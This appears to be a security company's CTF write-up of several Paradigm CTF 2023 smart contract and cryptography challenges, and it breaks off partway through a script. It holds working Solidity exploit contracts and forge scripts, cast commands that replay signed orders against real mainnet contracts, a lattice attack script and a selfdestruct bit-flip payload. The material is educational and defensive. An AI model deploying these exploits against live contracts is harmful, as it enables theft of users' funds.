    bytes calldata data
) external preventReentrant {
    _transferBaseOut(assetTo, baseAmount);
    _transferQuoteOut(assetTo, quoteAmount);

    if (data.length > 0)
        IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data);

    uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
    uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));

    // no input -> pure loss
    require(
        baseBalance >= _BASE_RESERVE_ || quoteBalance >= _QUOTE_RESERVE_,
        "FLASH_LOAN_FAILED"
    );

    // sell quote
    if (baseBalance < _BASE_RESERVE_) {
        uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
        (uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput);
        require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");

        _transferBaseOut(_MAINTAINER_, mtFee);
        emit DODOSwap(
            address(_QUOTE_TOKEN_),
            address(_BASE_TOKEN_),
            quoteInput,
            receiveBaseAmount,
            msg.sender,
            assetTo
        );
    }

    // sell base
    if (quoteBalance < _QUOTE_RESERVE_) {
        uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
        (uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput);
        require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED");

        _transferQuoteOut(_MAINTAINER_, mtFee);
        emit DODOSwap(
            address(_BASE_TOKEN_),
            address(_QUOTE_TOKEN_),
            baseInput,
            receiveQuoteAmount,
            msg.sender,
            assetTo
        );
    }

    _sync();

    emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount);
}

With this vulnerability, we can set the base and quote tokens for any tokens while the flashloan callback is executed. This will result in us draining all base and quote tokens from the contract and then returning another base and quote token to the platform instead. We implement our assumption into the forge script as follows:

DodontSolver.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract DodontSolver is Script {
    function run() external {
        uint256 playerPrivateKey = vm.envUint("PLAYER");
        address challengeAddress = vm.envAddress("CHALLENGE");
        Challenge challenge = Challenge(challengeAddress);
        DVMLike dvm = DVMLike(challenge.dvm());

        vm.startBroadcast(playerPrivateKey);
        uint256 baseBalance = dvm._BASE_TOKEN_().balanceOf(address(dvm));
        uint256 quoteBalance = dvm._QUOTE_TOKEN_().balanceOf(address(dvm));
        console.log("baseBalance:", baseBalance);
        console.log("quoteBalance:", quoteBalance);

        DodoExp dodoExp = new DodoExp();

        dvm.flashLoan(baseBalance, quoteBalance, address(dodoExp), "hack");

        console.log("isSolved: ", challenge.isSolved());
        vm.stopBroadcast();
    }

}

contract DodoExp {

    function DVMFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        DummyToken baseDum = new DummyToken(msg.sender, baseAmount);
        DummyToken quoteDum = new DummyToken(msg.sender, quoteAmount);

        DVMLike(msg.sender).init(
            address(0),
            address(baseDum),
            address(quoteDum),
            3000000000000000,
            address(0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01),
            1,
            1000000000000000000,
            false
        );
    }
    
}

contract DummyToken is ERC20 {
    constructor(address to, uint256 amount) ERC20("Dummy Token", "DT") {
        _mint(to, amount);
    }
}

interface DVMLike {
    function _BASE_TOKEN_() external returns(ERC20);
    function _QUOTE_TOKEN_() external returns(ERC20);
    
    function init(
        address maintainer,
        address baseTokenAddress,
        address quoteTokenAddress,
        uint256 lpFeeRate,
        address mtFeeRateModel,
        uint256 i,
        uint256 k,
        bool isOpenTWAP
    ) external;

    function buyShares(address) external;

    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
}


ENTERPRISE BLOCKCHAIN

CHALLENGE: ENTERPRISE BLOCKCHAIN
AUTHOR: ChainLight
TAGS: pwn
DESCRIPTION: Smart Contract Solutions is proud to introduce the only Enterprise Blockchain that you’ll ever need

This challenge has bridge contracts deployed on two chains (L1, L2), which provide token bridge and cross-chain function calls. The objective of this challenge is to drain all ERC20 from the L1 bridge contract.

Normally, the token will be transferred out only when the ERC20In() function is called by the cross-chain bridge.

Bridge.sol

modifier onlyRemoteBridge() {
        require(
            msg.sender == address(this) && relayedMessageSenderChainId != 0
                && remoteBridgeChainId[relayedMessageSenderAddress] == relayedMessageSenderChainId,
            "RB"
        );
        _;
    }
 function ERC20In(address _token, address _to, uint256 _amount) external payable onlyRemoteBridge {
        emit ERC20_transfer(_token, _to, _amount);

        if (remoteTokenToLocalToken[_token] != address(0)) {
            BridgedERC20(remoteTokenToLocalToken[_token]).mint(_to, _amount);
        } else {
            require(IERC20(_token).transfer(_to, _amount), "T");
        }
    }

In the cross-chain function call, the sendRemoteMessage() can be called by anyone to any desination address, and then the relayMessage() on the other chain will call the desination contract as desired.

This includes the bridge itself, which means the attacker can utilize this to make another bridge address call to ERC20 to transfer the token in the bridge contract.

We can solve this by send cross-chain transfer call from L2 to L1 contract with the following script:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/bridge/Bridge.sol";
import "../src/bridge/BridgedERC20.sol";


contract EnterpriseBlockchainSolver is Script {
    function run() external {
        uint256 playerPrivateKey = vm.envUint("PLAYER");
        address challengeAddress = vm.envAddress("CHALLENGE");
        Challenge challenge = Challenge(challengeAddress);

        address bridgeAddr = address(0x56694ca20Edfb23cEEa39cEFCf70b25EAababdC0);
        address flagTokenAddr = address(0x171Ee3Fa356A28bb3Eec0E7E711D45e8761D951E);
        Bridge bridge = Bridge(payable(bridgeAddr));

        vm.startBroadcast(playerPrivateKey);
        
        // call L2 > L1
        bridge.sendRemoteMessage(
          78704, flagTokenAddr, abi.encodeWithSelector(ERC20.transfer.selector, address(0xdead), 11 ether)
        );

        vm.stopBroadcast();
    }

}


Hop over to 'Paradigm CTF 2023 Writeup 2/2 ' for more details


Since the release of our new Smart Contract Security Testing Guide Checklist, we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.

Related Posts

Paradigm CTF 2023 Writeup 2/2
Paradigm CTF 2023 Writeup 2/2
Education
7 Nov 2023
Make sure to go back and read ' Paradigm CTF 2023 Writeup 1/2 ' for the full writeup.&nbsp; GRAINS OF SAND CHALLENGE: GRAINS OF SAND AUTHOR: samczsun TAGS: pwn DESCRIPTION: At what point does it stop being a heap? This challenge goal is to reduce the balance of the GoldReserve (XGR) token ( 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 ) by more than 11111e8 from the TokenStore contract. The challenge only provides us with the Challenge.sol as follows: Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Challenge { IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845); address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8; uint256 private immutable INITIAL_BALANCE; constructor() { INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE); } function isSolved() external view returns (bool) { return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) &gt;= 11111e8; } } The TokenStore contract provides functionality to exchange the token by using a signature. So it should be easy to solve this challenge by trying to buy $XGR out of contract for more than 11111e8 tokens. Unfortunately, the Token.Store platform was shut down last year ( https://twitter.com/TokenDotStore/status/1267588299243298816 ), so this means we have to find a valid sell signature that has not expired yet. We have decided to find unexpired $XGR trades on Dune, by using the following SQL statement: SELECT * FROM tokenstore_ethereum.TokenStore_call_trade WHERE _tokenGive = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 AND _expires &gt; CAST(18437825 AS uint256) Two unexpired orders were found as follows: contract_address,call_success,call_tx_hash,call_trace_address,call_block_time,call_block_number,_amount,_amountGet,_amountGive,_expires,_nonce,_r,_s,_tokenGet,_tokenGive,_user,_v 0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba,[],2019-08-24 14:26:41.000 UTC,8.413497e+06,4200000000000000,84000000000000000,200000000000,108142282,470903382,0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8,28 0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1,[1],2020-06-14 05:25:14.000 UTC,1.0261947e+07,4246800000000000,42468000000000000,1000000000000,109997981,249363390,0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0x6ffacaa9a9c6f8e7cd7d1c6830f9bc2a146cf10c,28 Then we calculated the unfilled balances and perform trades to get all available tokens by calling the instantTrade() function with cast . cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 38374084800000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 42468000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 1000000000000 109997981 249363390 0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C 28 0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397 0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e 38221200000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 80119200000000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 84000000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 200000000000 108142282 470903382 0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8 28 0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018 0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a 79800000000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 But the token has a fee on transfer, so we get only 1090218000000 $XGR, which is not enough to pass the challenge. In this case, the Token.Store does not support the fee-on-transfer token, so we can repeatedly deposit and withdraw to drain the token from the contract. The following Attack contract is used to solved this challenge. Attack.sol pragma solidity ^0.8.0; interface Token { function approve(address _spender, uint256 _value) external returns (bool success); function balanceOf(address _owner) external returns (uint256 balance); } interface TokenStore { function depositToken(address _token, uint _amount) external; function withdrawToken(address _token, uint _amount) external; } contract Attack { TokenStore ts = TokenStore(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8); Token t = Token(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845); function attack() external { t.approve(address(ts), type(uint).max); while (t.balanceOf(address(ts)) &gt; 12849391142060) { uint256 curBalance = t.balanceOf(address(this)); ts.depositToken(address(t), curBalance); ts.withdrawToken(address(t), curBalance); } } } We deployed the Attack contract and completed the challenge with the following command: attack_addr=`forge create --rpc-url $rpc_url --private-key $priv_key -C . Attack.sol:Attack | grep Deployed | cut -f3 -d ' '` my_addr=`cast wallet a $priv_key` balance=`cast call $token_addr --rpc-url $rpc_url --private-key $priv_key "balanceOf(address)" -- $my_addr` cast send $token_addr --rpc-url $rpc_url --private-key $priv_key "transfer(address,uint256)" -- $attack_addr $balance cast send $attack_addr --rpc-url $rpc_url --private-key $priv_key "attack()" TOKEN LOCKER CHALLENGE: TOKEN LOCKER AUTHOR: samczsun TAGS: pwn DESCRIPTION: If you’re launching a new token, you should use our (new and improved) secure liquidity locking contract so your users know you won’t rugpull! To solve this challenge, you need to deplete the UniswapV3 Position NFT ( 0xC36442b4a4522E871399CD717aBDD847Ab11FE88 ) from the UNCX_ProofOfReservesV2_UniV3 contract ( 0x7f5C649856F900d15C83741f45AE46f5C6858234 ). From the challenge’s description, we found out that there are some modifications in the UNCX_ProofOfReservesV2_UniV3 contract, which should help us drain out the NFT from the contract. Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol"; contract Challenge { address private immutable TARGET = 0x7f5C649856F900d15C83741f45AE46f5C6858234; IERC721 private immutable UNI_V3 = IERC721(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); function isSolved() external view returns (bool) { return UNI_V3.balanceOf(TARGET) == 0; } } In the UNCX_ProofOfReservesV2_UniV3 contract, the lock() function allows users to lock liquidity in this secure liquidity locking contract. It provides two options: users can either convert an NFT to full range and collect associated fees, which are then sent back to the collector, or they can use an existing position. UNCX_ProofOfReservesV2_UniV3.sol function lock(LockParams calldata params) external payable override nonReentrant returns (uint256) { require(params.owner != address(0)); require(params.collectAddress != address(0), "COLLECT_ADDR"); require(params.unlockDate &lt; 1e10 || params.unlockDate == ETERNAL_LOCK, "MILLISECONDS"); // prevents errors when timestamp entered in milliseconds require(params.unlockDate &gt; block.timestamp, "DATE PASSED"); require(COUNTRY_LIST.countryIsValid(params.countryCode), "COUNTRY"); FeeStruct memory fee; if (msg.sender == MIGRATE_IN) { fee.collectFee = abi.decode(params.r[0], (uint256)); } else { if (params.r.length &gt; 0) { fee = FEE_RESOLVER.useFee(params.r, msg.sender); } else { fee = getFee(params.feeName); } if (fee.flatFee &gt; 0) { deductFlatFee(fee); } } params.nftPositionManager.safeTransferFrom(msg.sender, address(this), params.nft_id); Position memory position; ( , , position.token0, position.token1, position.fee, position.tickLower, position.tickUpper, position.liquidity, , , , ) = params.nftPositionManager.positions(params.nft_id); IUniswapV3Factory factory = IUniswapV3Factory(params.nftPositionManager.factory()); address pool = factory.getPool(position.token0, position.token1, position.fee); int24 maxTick = tickSpacingToMaxTick(factory.feeAmountTickSpacing(position.fee)); uint256 nftId; if (position.tickLower != -maxTick &amp;&amp; position.tickUpper != maxTick) { // convert the position to full range by minting a new full range NFT nftId = _convertPositionToFullRange( params.nftPositionManager, params.nft_id, position, maxTick, params.dustRecipient ); } else { nftId = params.nft_id; // collect fees for user to prevent being charged a fee on existing fees params.nftPositionManager.collect( INonfungiblePositionManager.CollectParams( nftId, params.dustRecipient, type(uint128).max, type(uint128).max ) ); } // Take lp fee if (fee.lpFee &gt; 0) { uint128 liquidity = _getLiquidity(params.nftPositionManager, nftId); params.nftPositionManager.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams( nftId, uint128(liquidity * fee.lpFee / FEE_DENOMINATOR), 0, 0, block.timestamp ) ); params.nftPositionManager.collect( INonfungiblePositionManager.CollectParams(nftId, FEE_ADDR_LP, type(uint128).max, type(uint128).max) ); } Lock memory newLock; newLock.lock_id = NONCE; newLock.nftPositionManager = params.nftPositionManager; newLock.pool = pool; newLock.nft_id = nftId; newLock.owner = params.owner; newLock.additionalCollector = params.additionalCollector; newLock.collectAddress = params.collectAddress; newLock.unlockDate = params.unlockDate; newLock.countryCode = params.countryCode; newLock.ucf = fee.collectFee; LOCKS[NONCE] = newLock; USER_LOCKS[params.owner].add(NONCE); NONCE++; emitLockEvent(newLock.lock_id); return newLock.lock_id; } The _convertPositionToFullRange() function transforms a Uniswap V3 liquidity position into a full range position. It achieves this by decreasing the position’s liquidity, collecting associated fees, setting parameters for a new full range position, minting that new position, and burning the old one. UNCX_ProofOfReservesV2_UniV3.sol function _convertPositionToFullRange( INonfungiblePositionManager _nftPositionManager, uint256 _tokenId, Position memory _position, int24 _maxTick, address _dustRecipient ) private returns (uint256) { _nftPositionManager.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams(_tokenId, _position.liquidity, 0, 0, block.timestamp) ); (uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect( INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max) ); INonfungiblePositionManager.MintParams memory mintParams = _setPartialMintParamsFromPosition(_nftPositionManager, _tokenId); mintParams.deadline = block.timestamp; mintParams.recipient = address(this); mintParams.tickLower = -_maxTick; mintParams.tickUpper = _maxTick; mintParams.amount0Desired = collectedAmount0; mintParams.amount1Desired = collectedAmount1; mintParams.amount0Min = 0; mintParams.amount1Min = 0; TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired); TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired); (uint256 newNftId,, uint256 mintedAmount0, uint256 mintedAmount1) = _nftPositionManager.mint(mintParams); _nftPositionManager.burn(_tokenId); // Refund the tokens which dont fit into full range liquidity if (collectedAmount0 &gt; mintedAmount0) { TransferHelper.safeTransfer(mintParams.token0, _dustRecipient, collectedAmount0 - mintedAmount0); } if (collectedAmount1 &gt; mintedAmount1) { TransferHelper.safeTransfer(mintParams.token1, _dustRecipient, collectedAmount1 - mintedAmount1); } However, there is no input validation for the _nftPositionManager parameter, allowing an attacker to input a malicious _nftPositionManager contract. This could potentially make the UNCX_ProofOfReservesV2_UniV3 contract approve the token0 and token1 to the _nftPositionManager contract. The following lines grant permission to the Uniswap V3 _nftPositionManager contract to transfer specific token amounts of the token0 and token1 . TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired); TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired); But in this challenge, we have to drain the ERC721 out of the contract; (un)fortunately, the function signatures of ERC20.transferFrom() and ERC721.transferFrom() are the same. Which means if we can control both the mintParams.token0 and the mintParams.amount0Desired , we can arbitrary approve the NFT to our malicious NftPositionManager contract. The mintParams.token0 and mintParams.token1 can be controlled by modifying the returns of the INonfungiblePositionManager.positions() function. UNCX_ProofOfReservesV2_UniV3.sol INonfungiblePositionManager.MintParams memory mintParams = _setPartialMintParamsFromPosition(_nftPositionManager, _tokenId); function _setPartialMintParamsFromPosition(INonfungiblePositionManager _nftPositionManager, uint256 _tokenId) private view returns (INonfungiblePositionManager.MintParams memory) { INonfungiblePositionManager.MintParams memory m; (,, m.token0, m.token1, m.fee,,,,,,,) = _nftPositionManager.positions(_tokenId); return m; } Additionally, in the original code, when the _convertPositionToFullRange() is executed, it assigns amount0Desired and amount1Desired values as follows: mintParams.amount0Desired = IERC20(mintParams.token0).balanceOf(address(this)); mintParams.amount1Desired = IERC20(mintParams.token1).balanceOf(address(this)); But in our challenge, there are some changes where the amount0Desired and amount1Desired values are assigned from the _nftPositionManager.collect() function. UNCX_ProofOfReservesV2_UniV3.sol (uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect( INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max) ); mintParams.amount0Desired = collectedAmount0; mintParams.amount1Desired = collectedAmount1; This allows the attacker to control the mintParams.amount0Desired value by modifying the return value of _nftPositionManager.collect() to the tokenId of any NFT that UNCX_ProofOfReservesV2_UniV3 is holding. As a result, the attacker can craft the malicious NftPositionManager contract to arbitrary approve UniswapV3 liquidity position NFTs in the UNCX_ProofOfReservesV2_UniV3 contract and transfer them out of the contract. We have to implement some function of the malicious NftPositionManager contract to make the exploit work as follows: TokenLockerSolver.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; import "../src/UNCX_ProofOfReservesV2_UniV3.sol"; contract TokenLockerSolver is Script { function run() external { uint256 playerPrivateKey = uint256(YOUR_PRIVATE_KEY); address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234); address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); bytes[] memory r; UNCX_ProofOfReservesV2_UniV3 uniReserve = UNCX_ProofOfReservesV2_UniV3(uniReserveAddress); console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress)); vm.startBroadcast(playerPrivateKey); FakeNftPositionManager fpositionManager = new FakeNftPositionManager(); uint256 times = INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress); for (uint256 i = 0; i &lt; times; i++) { uint256 tokenId = INFT(nftPositionManagerAddress).tokenOfOwnerByIndex(uniReserveAddress, 0); console.log("tokenId[0]: ", tokenId); IUNCX_ProofOfReservesV2_UniV3.LockParams memory params = IUNCX_ProofOfReservesV2_UniV3.LockParams( INonfungiblePositionManager(address(fpositionManager)), tokenId, address(0xdead), address(0xdead), address(0xdead), address(0xdead), type(uint256).max, 0, "DEFAULT", r ); uniReserve.lock(params); } vm.stopBroadcast(); console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress)); } } contract FakeNftPositionManager { address public factory = address(this); address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234); uint256 currentId; struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } function getPool(address,address,uint24) external view returns(address) { return address(this); } function feeAmountTickSpacing(uint24) external view returns (int24) { return 1; } function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1){} function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { token0 = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; } function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1) { currentId = params.tokenId; return(params.tokenId, params.tokenId); } fallback () external {} struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ){ amount0 = type(uint256).max; amount1 = type(uint256).max; INFT(nftPositionManagerAddress).transferFrom(uniReserveAddress, address(this), currentId); } } interface INFT { function balanceOf ( address owner ) external view returns ( uint256 ); function tokenOfOwnerByIndex ( address owner, uint256 index ) external view returns ( uint256 ); function transferFrom ( address from, address to, uint256 tokenId ) external; } OVEN CHALLENGE: OVEN AUTHOR: Cayden Liao (Zellic) TAGS: pwn, cryptography DESCRIPTION: Why do they call it an oven? This challenge objective is to extract the flag from a random signature generated from the following Python code: #!/usr/bin/env python3 from Crypto.Util.number import * import random import os import hashlib FLAG = os.getenv("FLAG", "PCTF{flag}").encode("utf8") FLAG = bytes_to_long(FLAG[5:-1]) assert FLAG.bit_length() &lt; 384 BITS = 1024 def xor(a, b): return bytes([i ^ j for i, j in zip(a, b)]) # This doesn't really matter right??? def custom_hash(n): state = b"\x00" * 16 for i in range(len(n) // 16): state = xor(state, n[i : i + 16]) for _ in range(5): state = hashlib.md5(state).digest() state = hashlib.sha1(state).digest() state = hashlib.sha256(state).digest() state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest() value = bytes_to_long(state) return value def fiat_shamir(): p = getPrime(BITS) g = 2 y = pow(g, FLAG, p) v = random.randint(2, 2**512) t = pow(g, v, p) c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t)) r = (v - c * FLAG) % (p - 1) assert t == (pow(g, r, p) * pow(y, c, p)) % p return (t, r), (p, g, y) while True: resp = input("[1] Get a random signature\n[2] Exit\nChoice: ") if "1" in resp: print() (t, r), (p, g, y) = fiat_shamir() print(f"t = {t}\nr = {r}") print() print(f"p = {p}\ng = {g}\ny = {y}") print() elif "2" in resp: print("Bye!") exit() After some research, we found out that to solve this challenge, we have to break the weak fait-shamir algorithm. Luckily, we found a babyProof write-up that relates to this challenge. To solve this challenge, first we wrote the Python script to gather data: from pwn import * # pwntools from sympy import symbols, Eq, solve from Crypto.Util.number import bytes_to_long, long_to_bytes from sympy.ntheory.modular import solve_congruence import json def custom_hash(n): state = b"\x00" * 16 for i in range(len(n) // 16): state = xor(state, n[i : i + 16]) for _ in range(5): state = hashlib.md5(state).digest() state = hashlib.sha1(state).digest() state = hashlib.sha256(state).digest() state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest() value = bytes_to_long(state) return value def collect_equations(num_signatures=3): ps = [] cs = [] rs = [] # Connect to the server conn = remote("oven.challenges.paradigm.xyz", 1337) for _ in range(num_signatures): conn.recvuntil(b"Choice: ") conn.sendline(b"1") conn.recvuntil(b"t = ") t = int(conn.recvline().strip()) conn.recvuntil(b"r = ") r = int(conn.recvline().strip()) conn.recvuntil(b"p = ") p = int(conn.recvline().strip()) conn.recvuntil(b"g = ") g = int(conn.recvline().strip()) conn.recvuntil(b"y = ") y = int(conn.recvline().strip()) c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t)) ps.append(p - 1) cs.append(c) rs.append(r) return ps,cs,rs # Main routine that orchestrates the retrieval of the FLAG. def main(): num_signatures = 50 # Collecting multiple signatures helps create a solvable system of equations. ps,cs,rs = collect_equations(num_signatures) json.dump([ps, cs, rs], open("data", "w")) if __name__ == "__main__": main() After gathering sufficient data, we solved the HNP with the following script and got the flag: # SageMath 9.1 import json from Crypto.Util.number import long_to_bytes ps, cs, rs = json.load(open("data", "r")) # HNP N = 50 M = matrix(ZZ, N+2, N+2) # p1 # p2 # ... # pn # c1 c2 ... cn 1 # r1 r2 ... rn 2^248 for i in range(N): M[i,i] = ps[i] # pi M[-2,i] = cs[i] # ci M[-1,i] = rs[i] # ri M[-2,-2] = 1 M[-1,-1] = 2^384 M_lll = M.LLL() x = M_lll[0,-2] print(long_to_bytes(x)) DROPPER CHALLENGE: DROPPER AUTHOR: samczsun TAGS: koth DESCRIPTION: How is anyone supposed to afford to do an airdrop in this market? This is the first King of the Hill challenge, which will score each team based on how much gas it costs to airdrop tokens on the provided list. Since this is a gas optimization challenge, we wrote the Airdrop contract in Yul as shown as follows: Airdrop.yul object "Airdrop" { code { mstore(64, memoryguard(128)) let _1 := allocate_unbounded() codecopy(_1, dataoffset("Airdrop_deployed"), datasize("Airdrop_deployed")) return(_1, datasize("Airdrop_deployed")) function allocate_unbounded() -&gt; memPtr { memPtr := mload(64) } } object "Airdrop_deployed" { code { if eq(shr(224, calldataload(0)), 0xc1a38006) { for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) } { pop(call(gas(), calldataload(add(add(0x24, calldataload(0x04)), mul(usr$i, 0x20))), calldataload(add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20))), 0, 0, 0, 0)) } return(0x00,0x00) } let usr$callData := mload(0x40) mstore(usr$callData, 0x23b872dd00000000000000000000000000000000000000000000000000000000) mstore(add(usr$callData, 4), 0x96b38Ea8e24018680D9d6f22EDBA51Ebf64FB546) for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) } { calldatacopy(add(usr$callData, 36), add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20)), 32) calldatacopy(add(usr$callData, 68), add(add(0x24, calldataload(0x44)), mul(usr$i, 0x20)), 32) pop(call(gas(), calldataload(0x04), 0, usr$callData, 0x64, 0, 0)) } return(0x00,0x00) } } } After we deployed and airdropped tokens to the provided list, our team used a total gas of 1346986. solc --optimize --strict-assembly Airdrop.yul --bin cast send --rpc-url $rpc_url --private-key $priv_key --create 60808060405260b590816100118239f3fe600063c1a38006813560e01c146080576040516323b872dd60e01b81527396b38ea8e24018680d9d6f22edba51ebf64fb546600482015281906024918235838301604435946044850191600435945b601081106059578880f35b8060019160051b846020918282828b010187378b01018637898060648a828b5af15001604e565b602480359060043590835b601081106096578480f35b808580808060019560051b8780828c010135918a0101355af15001608b56 cast send $target_addr --rpc-url $rpc_url --private-key $priv_key "submit(address)" -- 0x8Ed6834Fcd37A2e8bF5f96A8DE931f4595AA38Fb $ python3 -c 'print("clo9h6z7q01e4s619vilqpui0\n3")' | nc dropper.challenges.paradigm.xyz 1337 ticket? 1 - launch new instance 2 - kill instance 3 - submit score action? submitting score 1346986 score successfully submitted (id=cloc26xan00x3s619ledpwq7c) COSMIC RADIATION CHALLENGE: COSMIC RADIATION AUTHOR: samczsun TAGS: koth DESCRIPTION: Have you ever dreamed of hacking some of the biggest contracts in Ethereum? Luck is on your side As described above, in this challenge, we have the ability to flip any bit in any contract on the Ethereum chain. With this power, we have created an efficient way to hack every contract by flipping the first 40 bits of any contract to the following instructions. CALLER 33 00110011 SELFDESTRUCT FF 11111111 PUSH0 5F 01011111 PUSH0 5F 01011111 RETURN F3 11110011 These instructions will selfdestruct and transfer all ETH in the contract to the msg.sender . So let’s start hacking the decentralized world. Get the top-most richest addresses from https://etherscan.io/accounts . Prepare the payload bytecode. 0011001111111111010111110101111111110011 Get code from contracts and find bits to flip. flip.py import os import subprocess f = open("addr_list.txt", "r") addr_list = f.readlines() 